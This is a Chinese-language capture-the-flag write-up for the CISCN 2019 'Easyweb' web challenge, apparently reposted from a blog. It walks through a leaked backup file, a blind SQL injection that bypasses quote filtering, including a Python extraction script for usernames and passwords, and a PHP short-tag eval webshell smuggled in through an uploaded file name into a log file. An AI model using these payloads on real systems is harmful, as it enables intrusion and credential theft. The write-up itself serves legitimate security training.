zoukankan      html  css  js  c++  java
  • [CISCN2019 总决赛 Day2 Web1]Easyweb

    0x00 知识点

    1:备份文件泄露
    2:SQL注入
    3:php短标签

    短标签需要php.ini开启short_open_tag = On,但不受该条控制。

    0x01 解题

    首先通过robots.txt发现存在.bak备份文件,尝试后获取到image.php.bak文件,代码如下:
    打开得到源码:

    <?php
    include "config.php";
    
    $id=isset($_GET["id"])?$_GET["id"]:"1";
    $path=isset($_GET["path"])?$_GET["path"]:"";
    
    $id=addslashes($id);
    $path=addslashes($path);
    
    $id=str_replace(array("\0","%00","\'","'"),"",$id);
    $path=str_replace(array("\0","%00","\'","'"),"",$path);
    
    $result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
    $row=mysqli_fetch_array($result,MYSQLI_ASSOC);
    
    $path="./" . $row["path"];
    header("Content-Type: image/jpeg");
    readfile($path);
    

    可以看到:

    单引号被过滤,由于存在转义函数addslashes以及 '等也被过滤

    构造payload:

    http://a215b254-c237-4670-a4cc-9dfea3d34f26.node3.buuoj.cn/image.php?id=%27&path=%20or%20length((select group_concat(password) from users))=20%23
    

    可知拼接后密码长度为20位,这里表名users和字段名password是猜的,也可以通过对information_schema库进行注入获取。
    sql注入代码:

    import  requests
    
    url = "http://d4035b3f-eaac-4675-8c17-e1de75f3d193.node3.buuoj.cn/image.php?id=\0&path="
    payload = "or id=if(ascii(substr((select username from users),{0},1))>{1},1,0)%23"
    result = ""
    for i in range(1,100):
        l = 1
        r = 130
        mid = (l + r)>>1
        while(l<r):
            payloads = payload.format(i,mid)
            print(url+payloads)
            html = requests.get(url+payloads)
            if "JFIF" in html.text:
                l = mid +1
            else:
                r = mid
            mid = (l + r)>>1
        result+=chr(mid)
        print(result)
    
    

    同理也可以获取password

    注入出来密码登陆

    随便上传一张图片:

    我们可以看到:

    这里会将文件名和用户名写入日志文件。但是这里日志文件为php格式,考虑写入shell。由于用户名只能为admin无法利用,考虑文件名注入。文件名进行了php/i过滤,可以使用短标签绕过:

    filename="<?=@eval($_POST['a']);?>"
    

    这个文件名,会被写入日志文件中去,然后用菜刀连接。
    http://b06691a8-c225-436e-ada3-e0a41553926f.node3.buuoj.cn/logs/upload.9f87e416579a7b3819d20bf55d415223.log.php

    参考链接:

    https://www.jianshu.com/p/e0e59ed2d6d2

  • 相关阅读:
    MyEclipse添加SVN插件
    Postgresql的character varying = bytea问题
    Hibernate主键增加方式
    java配置环境变量
    Maven常用构建命令
    Postgresql的主键自增长
    js判断金额
    最精简的SQL教程
    SQL练习1:统计班级男女生人数
    sql 百万级数据库优化方案
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12253918.html
Copyright © 2011-2022 走看看